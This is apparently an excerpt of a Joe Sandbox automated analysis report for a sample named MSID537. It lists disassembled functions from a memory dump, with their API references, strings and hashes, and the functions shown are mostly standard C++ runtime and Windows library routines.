Instruction Fuzzy Hash: C901F536944619DBCF11FFA4C856ABE77F1EF84320F2504A9E510AB2A1DF349E01CB90

Function 00B97A5E Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B97A65
std::_Lockit::_Lockit.LIBCPMT ref: 00B97A6F

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

std::_Facet_Register.LIBCPMT ref: 00B97AC0
std::_Lockit::~_Lockit.LIBCPMT ref: 00B97AE0

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 1a92fb4511b4ed7d3feeec24922b86ad69ba0ddad6a5491b3e14183e62572a0c
Instruction ID: dfcd669643ed6c11fc7cbd505d46ebbfbf14df2d30430aefe8723300af04fbe2
Opcode Fuzzy Hash: 1a92fb4511b4ed7d3feeec24922b86ad69ba0ddad6a5491b3e14183e62572a0c
Instruction Fuzzy Hash: 0201CC769446199BCF15EB64C846AAE7BE1EF84320F2504AAE4106B3A2DF349E01CB90

Function 00B97B88 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B97B8F
std::_Lockit::_Lockit.LIBCPMT ref: 00B97B99

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

std::_Facet_Register.LIBCPMT ref: 00B97BEA
std::_Lockit::~_Lockit.LIBCPMT ref: 00B97C0A

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 7f517af40b55c5ad8bbce8375797620d263661eeedabf11f7e4e9f323b6561ee
Instruction ID: a3fb179c4656d4e90a63754fab66db9832bcee3e38a57c8fb3bed874da672cf9
Opcode Fuzzy Hash: 7f517af40b55c5ad8bbce8375797620d263661eeedabf11f7e4e9f323b6561ee
Instruction Fuzzy Hash: 6401D276944619DBCF16EB64C846ABE7BF1EF84320F2444A9E4106B3A2DF709E01CB90

Function 00BA3CD4 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BA3CDB
std::_Lockit::_Lockit.LIBCPMT ref: 00BA3CE5

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

std::_Facet_Register.LIBCPMT ref: 00BA3D36
std::_Lockit::~_Lockit.LIBCPMT ref: 00BA3D56

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 73fca3e4a02932a69974351b52078862dbec6372c42b30d0c8a34eba27992a47
Instruction ID: 51f45a24203a197e1e50891ad1c631611b401c3ed410337d85d59161dc79915c
Opcode Fuzzy Hash: 73fca3e4a02932a69974351b52078862dbec6372c42b30d0c8a34eba27992a47
Instruction Fuzzy Hash: 4001C032948619DBCF15EB64D846AAE7BE1EF85720F2404A9F411AB2A1CF709E01CB80

Function 00BA3C3F Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BA3C46
std::_Lockit::_Lockit.LIBCPMT ref: 00BA3C50

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

std::_Facet_Register.LIBCPMT ref: 00BA3CA1
std::_Lockit::~_Lockit.LIBCPMT ref: 00BA3CC1

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: c025bd99e75bed931f7d876fae6908ac45f0f8267079ef5ee78e5861b1074550
Instruction ID: 2eed174af534dccf9a07531a3f8eb6aa2a06ccc380e6ce4b2d42ab76a03c2e98
Opcode Fuzzy Hash: c025bd99e75bed931f7d876fae6908ac45f0f8267079ef5ee78e5861b1074550
Instruction Fuzzy Hash: FE01C0369446199BCF11EBA4D846AADBBE1EF85720F240499F8107B2A1DF749E05CB81

Function 00B97E71 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B97E78
std::_Lockit::_Lockit.LIBCPMT ref: 00B97E82

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

std::_Facet_Register.LIBCPMT ref: 00B97ED3
std::_Lockit::~_Lockit.LIBCPMT ref: 00B97EF3

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 40d7486bedbf52d8e51e08de0048d64d5f40118f5276596aa6ca872aaeb64640
Instruction ID: c905e52aed294e33bbcb7a25d076be333ff794684d5bf4d11e4539f98d166f63
Opcode Fuzzy Hash: 40d7486bedbf52d8e51e08de0048d64d5f40118f5276596aa6ca872aaeb64640
Instruction Fuzzy Hash: 3101D236944619DBCF11EB64D846ABE7BF5EF84320F2404E9E4106B3A2DF309E01CB90

Function 00B97F9B Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B97FA2
std::_Lockit::_Lockit.LIBCPMT ref: 00B97FAC

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

std::_Facet_Register.LIBCPMT ref: 00B97FFD
std::_Lockit::~_Lockit.LIBCPMT ref: 00B9801D

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 166494b3fc5ed605a11a3bd8be4a3d2c9e560e2da902d950fad138d221fefe00
Instruction ID: a7c4ca619b3334069525ee3adb129c11502dc8764cd4c600444d20c977833cf2
Opcode Fuzzy Hash: 166494b3fc5ed605a11a3bd8be4a3d2c9e560e2da902d950fad138d221fefe00
Instruction Fuzzy Hash: EC01C035940619DBCF12EB64D846AAE77E1EF84320F2400A9E4106B2A2DF709E05CB90

Function 00B97F06 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B97F0D
std::_Lockit::_Lockit.LIBCPMT ref: 00B97F17

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

std::_Facet_Register.LIBCPMT ref: 00B97F68
std::_Lockit::~_Lockit.LIBCPMT ref: 00B97F88

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: d4ba92eb6c03ecb38928b6819a69f4e617dec7cfeb3aea1f76469176acfde126
Instruction ID: 2748f801a2672bcff26fa299527888edcbfa51fe506ac1fabc60ea2d03f72cbe
Opcode Fuzzy Hash: d4ba92eb6c03ecb38928b6819a69f4e617dec7cfeb3aea1f76469176acfde126
Instruction Fuzzy Hash: 9901C0369446599BCF15EBA4C846BAE7BF1EF84320F2444A9E4117B2A2DF349E01CB80

Function 00B95C66 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B95C6D
std::_Lockit::_Lockit.LIBCPMT ref: 00B95C78
std::_Lockit::~_Lockit.LIBCPMT ref: 00B95CE6

Part of subcall function 00B95DC8: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00B95DE0

std::locale::_Setgloballocale.LIBCPMT ref: 00B95C93

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_Setgloballocale
String ID:
API String ID: 677527491-0
Opcode ID: b1bb0668899fb99cff8ed8ea4a61059463ce9317e0bd40407b8e89bce30971ce
Instruction ID: 0f3c7e33ebd9dd7a327eb7c8d01d607cdf77eefe9a52b48b9d9cdbf8ecf55473
Opcode Fuzzy Hash: b1bb0668899fb99cff8ed8ea4a61059463ce9317e0bd40407b8e89bce30971ce
Instruction Fuzzy Hash: 89017C75A40A509BDB16AB20D845A7D7BE1FF85740B1440A9E8115B391CF74AE46CBC1

Function 00BC8C76 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,00BC8643,?,00000001,?,?,?,00BC7788,?,?,00000000), ref: 00BC8C8D
GetLastError.KERNEL32(?,00BC8643,?,00000001,?,?,?,00BC7788,?,?,00000000,?,?,?,00BC7D0F,?), ref: 00BC8C99

Part of subcall function 00BC8C5F: CloseHandle.KERNEL32(FFFFFFFE,00BC8CA9,?,00BC8643,?,00000001,?,?,?,00BC7788,?,?,00000000,?,?), ref: 00BC8C6F

___initconout.LIBCMT ref: 00BC8CA9

Part of subcall function 00BC8C21: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00BC8C50,00BC8630,?,?,00BC7788,?,?,00000000,?), ref: 00BC8C34

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,00BC8643,?,00000001,?,?,?,00BC7788,?,?,00000000,?), ref: 00BC8CBE

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 4d4f93e9c5806014097c63cc14bfeda5e725d12d1b26bb6b80b39fb904c6c592
Instruction ID: d50e55753ce2456fd2629b423881d89294a5850fc00bd8142b4a4ebc0dade0f6
Opcode Fuzzy Hash: 4d4f93e9c5806014097c63cc14bfeda5e725d12d1b26bb6b80b39fb904c6c592
Instruction Fuzzy Hash: 2CF01C36001155BBCF222F95DC08E8E3FA6EF087A1F144468FA1996120DE32C920EBA0

Function 00BA78FD Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00BA789A,00000064), ref: 00BA7920
LeaveCriticalSection.KERNEL32(00BE4AF8,?,?,00BA789A,00000064,?,?,00B825B6,00BE571C,E5F50329,?,00000000,00BC93ED,000000FF,?,00B81A26), ref: 00BA792A
WaitForSingleObjectEx.KERNEL32(?,00000000,?,00BA789A,00000064,?,?,00B825B6,00BE571C,E5F50329,?,00000000,00BC93ED,000000FF,?,00B81A26), ref: 00BA793B
EnterCriticalSection.KERNEL32(00BE4AF8,?,00BA789A,00000064,?,?,00B825B6,00BE571C,E5F50329,?,00000000,00BC93ED,000000FF,?,00B81A26), ref: 00BA7942

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 178622e7b0c0f03e53be7024a339d4e9ad89ef32898a42d4a312437f2772b96d
Instruction ID: 9140618ce1fa1eef5f39014d12465ecdb5f4485669532f0cb7b91eb06e808878
Opcode Fuzzy Hash: 178622e7b0c0f03e53be7024a339d4e9ad89ef32898a42d4a312437f2772b96d
Instruction Fuzzy Hash: 75E09236AC9124B7C7112B55EC08E9D7F54EB09721F0140B5F50567130CFA04800ABD9

Function 00BA6C34 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 185COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00BA6D98

Strings

-, xrefs: 00BA6DC9
0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 00BA6CFE, 00BA6D35, 00BA6D3A

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: __aulldiv
String ID: -$0123456789abcdefghijklmnopqrstuvwxyz
API String ID: 3732870572-1956417402
Opcode ID: f7f1a69a5402328c44c5aed516e083f1887b166d3d2f39eb94186d3359d47abd
Instruction ID: 9a60793c9262ca65d5e0c4c722e3c13e10e37fedb54991e8c767d93b2be00c30
Opcode Fuzzy Hash: f7f1a69a5402328c44c5aed516e083f1887b166d3d2f39eb94186d3359d47abd
Instruction Fuzzy Hash: 6951A1B0B0C258ABDF258E6D88917BEBBFAEF47750F1C40EAE4D1D7241D27489428B50

Function 00B8F860 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 167COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00B8FA3E

Strings

true, xrefs: 00B8F97B
false, xrefs: 00B8F965

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: false$true
API String ID: 118556049-2658103896
Opcode ID: 72d1ebc25598c32603a22866fd18ad9c86838e5bd3053b988468d05dda53f20a
Instruction ID: 80efb2f4379900eed9bf3ff182c8073c4435fd9e6c38ea11fb21f1e759909429
Opcode Fuzzy Hash: 72d1ebc25598c32603a22866fd18ad9c86838e5bd3053b988468d05dda53f20a
Instruction Fuzzy Hash: DD5194B1D003489FDB10DFA4C841BEEBBF8FF45314F1482AAE845AB251E775AA49CB51

Function 00BA22AA Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00BA22B1
_swprintf.LIBCMT ref: 00BA2329

Part of subcall function 00B9780A: __EH_prolog3.LIBCMT ref: 00B97811
Part of subcall function 00B9780A: std::_Lockit::_Lockit.LIBCPMT ref: 00B9781B
Part of subcall function 00B9780A: std::_Lockit::~_Lockit.LIBCPMT ref: 00B9788C

Strings

%.0Lf, xrefs: 00BA2321

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Lockitstd::_$H_prolog3H_prolog3_Lockit::_Lockit::~__swprintf
String ID: %.0Lf
API String ID: 2348759532-1402515088
Opcode ID: ffa120d4e97096a6af264b0ad499770d6e6c8006c9dadd77183270390a290e2b
Instruction ID: 8a5913621fe3ccd650acae64adf2ab296fb31068ea43d67750e407a3538fdd92
Opcode Fuzzy Hash: ffa120d4e97096a6af264b0ad499770d6e6c8006c9dadd77183270390a290e2b
Instruction Fuzzy Hash: 9B513871D04209AFCF05EFE4D885AEDBBF9FB09300F20449AE506AB2A5EB349915CF54

Function 00BA258E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00BA2595
_swprintf.LIBCMT ref: 00BA260D

Part of subcall function 00B8B500: std::_Lockit::_Lockit.LIBCPMT ref: 00B8B52D
Part of subcall function 00B8B500: std::_Lockit::_Lockit.LIBCPMT ref: 00B8B550
Part of subcall function 00B8B500: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8B578
Part of subcall function 00B8B500: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8B617

Strings

%.0Lf, xrefs: 00BA2605

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3__swprintf
String ID: %.0Lf
API String ID: 1487807907-1402515088
Opcode ID: e9c6b85cbe30b6e297a4e3538b6564ed3150df48d875b3671ebad03793022aba
Instruction ID: 2f654d4e8f82863fb8faa8c37a2e2afe72a424d15472ced6179b7e357f22df3b
Opcode Fuzzy Hash: e9c6b85cbe30b6e297a4e3538b6564ed3150df48d875b3671ebad03793022aba
Instruction Fuzzy Hash: 28515C71D04209ABCF09EFE4D895ADDBBF9FF09300F204499E946AB2A5EB349945CF50

Function 00BA6607 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 156COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00BA660E
_swprintf.LIBCMT ref: 00BA6686

Part of subcall function 00B8C590: std::_Lockit::_Lockit.LIBCPMT ref: 00B8C5BD
Part of subcall function 00B8C590: std::_Lockit::_Lockit.LIBCPMT ref: 00B8C5E0
Part of subcall function 00B8C590: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8C608
Part of subcall function 00B8C590: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8C6A7

Strings

%.0Lf, xrefs: 00BA667E

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3__swprintf
String ID: %.0Lf
API String ID: 1487807907-1402515088
Opcode ID: 18bbbbde3039da387743d5a9872695f8f300e647abb81b72c3e9fb6884803164
Instruction ID: bf1c80faf52ff5251855edfcace8d9047c0c84eae689803e6b6755dffbf07cc7
Opcode Fuzzy Hash: 18bbbbde3039da387743d5a9872695f8f300e647abb81b72c3e9fb6884803164
Instruction Fuzzy Hash: 825159B1D04209EBCF09EFE4D885ADDBBB5FB09300F24449AE506AB2A5EB359915CF50

Function 00B89620 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 154COMMON

Download Yara Rule

Strings

\\?\UNC\, xrefs: 00B896F7, 00B89752
\\?\, xrefs: 00B8976E, 00B8979B

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID:
String ID: \\?\$\\?\UNC\
API String ID: 0-3019864461
Opcode ID: 9c198c5849c6760584a0765746b1b123c40c83ab1521dabb1075b3c1e249178b
Instruction ID: 250c16022dd175193c294f3dd1150c7d30d80d3c6ebf4479d7e9472a2b104a3c
Opcode Fuzzy Hash: 9c198c5849c6760584a0765746b1b123c40c83ab1521dabb1075b3c1e249178b
Instruction Fuzzy Hash: B751B1709102049BDF14DF64C885BBEB7F5FF94314F14459DE402B76A0EB75A984CB94

Function 00BAB5D1 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00BAB5F6

Strings

MOC, xrefs: 00BAB608
RCC, xrefs: 00BAB610

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 2654d46f9b7cee53c26481e9bad9973f8dca346ddef84e262ace054ea5fefdc1
Instruction ID: 2fdd824c162bf05b4886974721aef90e5c77fd4b4f1942cb6f177b287979f7f7
Opcode Fuzzy Hash: 2654d46f9b7cee53c26481e9bad9973f8dca346ddef84e262ace054ea5fefdc1
Instruction Fuzzy Hash: A5414572904209AFCF16DF98CD81EEEBBF5FF49304F1880A9F914A6222D7369950DB50

Function 00BA217C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00BA2183

Part of subcall function 00B9780A: __EH_prolog3.LIBCMT ref: 00B97811
Part of subcall function 00B9780A: std::_Lockit::_Lockit.LIBCPMT ref: 00B9781B
